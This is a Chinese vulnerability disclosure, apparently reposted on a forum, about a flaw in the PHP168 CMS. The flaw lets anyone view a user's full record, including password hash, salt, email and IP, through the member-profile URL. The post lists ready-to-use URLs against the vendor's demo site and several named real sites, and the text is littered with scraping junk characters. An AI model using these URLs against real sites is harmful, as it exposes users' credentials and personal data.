|
简要描述： 国微PHP168中出现了一处神奇的array，可致全站用户数据泄露。泄露的内容包括全站用户的密码密文、邮箱、密码salt、IP等敏感信息。 详细说明：PHP168程序内置“用户”模块包含用户个人资料展示页面。在很多实际场景中，这个页面不会在前台使用，但可直接通过URL进行访问。页面路由为：/homepage.php/[用户名]/member-profile
. r0 z: L3 S: @" ^, ^6 W6 a
5 E$ A1 L/ G2 Q( y; p; L. `7 r# U以PHP168官方演示站点为例，查看任意用户信息的页面链接为：- X0 t! s4 D7 v! Z1 _7 N0 J+ e
`' f2 I. d( Lhttp://php168.cn/com/homepage.php/admin/member-profile0 R5 ~9 ^$ u7 z9 G
3 o7 U* g7 q- N" @/ Y2 }
由于该模块代码中出现了一句神奇的array，导致用户数据表内所有数据被当作数组取出直接显示出来。! u1 _+ a" O) S" U+ }
http://www.myhack58.com/Article/UploadPic/2013-9/2013920918425520.jpg
0 n# a3 z3 M, T4 N
9 [8 `+ M) ]2 d 漏洞证明：该漏洞影响使用该CMS系统的站点，以PHP168官网上的客户案例为例：$ z8 l7 j C, H3 P0 M
8 \) V# V3 r/ g4 }
http://www.zjfzol.com.cn/homepage.php/admin/member-profile
' z9 z# ^ H! J0 i4 ^: c5 S( K7 b: ?7 t. [# Q( K1 ]8 E- @
http://www.scswl.cn/homepage.php/admin/member-profile
! S; I# V9 W2 z. y/ x6 P$ J' k9 o2 S7 C( {. J
http://www.tunet.edu.cn/homepage.php/admin/member-profile4 H0 ~% i: ]+ g, X5 R
0 u7 a$ [9 i) F! f- ^
http://www.itlead.com.cn/homepage.php/admin/member-profile
. z8 h( b5 @$ W8 @ o$ V0 \. O3 N6 S
http://www.aedp.cn/homepage.php/admin/member-profile
2 R! a! b# V U( Y1 ^" e8 W1 C! x4 m& w) q, I
http://www.qianlongnews.com/homepage.php/test/member-profile
4 W+ F9 p! z6 r$ a, ?! ]4 S7 U6 u* m( l" l5 x( p, a$ N
http://ny.zlxk.com/gov/homepage.php/admin/member-profile 修复方案：去掉输出 [/td][/tr]
1 Z, d$ X( Y* S! Q+ r. A" I$ l[/table] | 
发表于 2013-9-21 16:02:53
收藏
支持
反对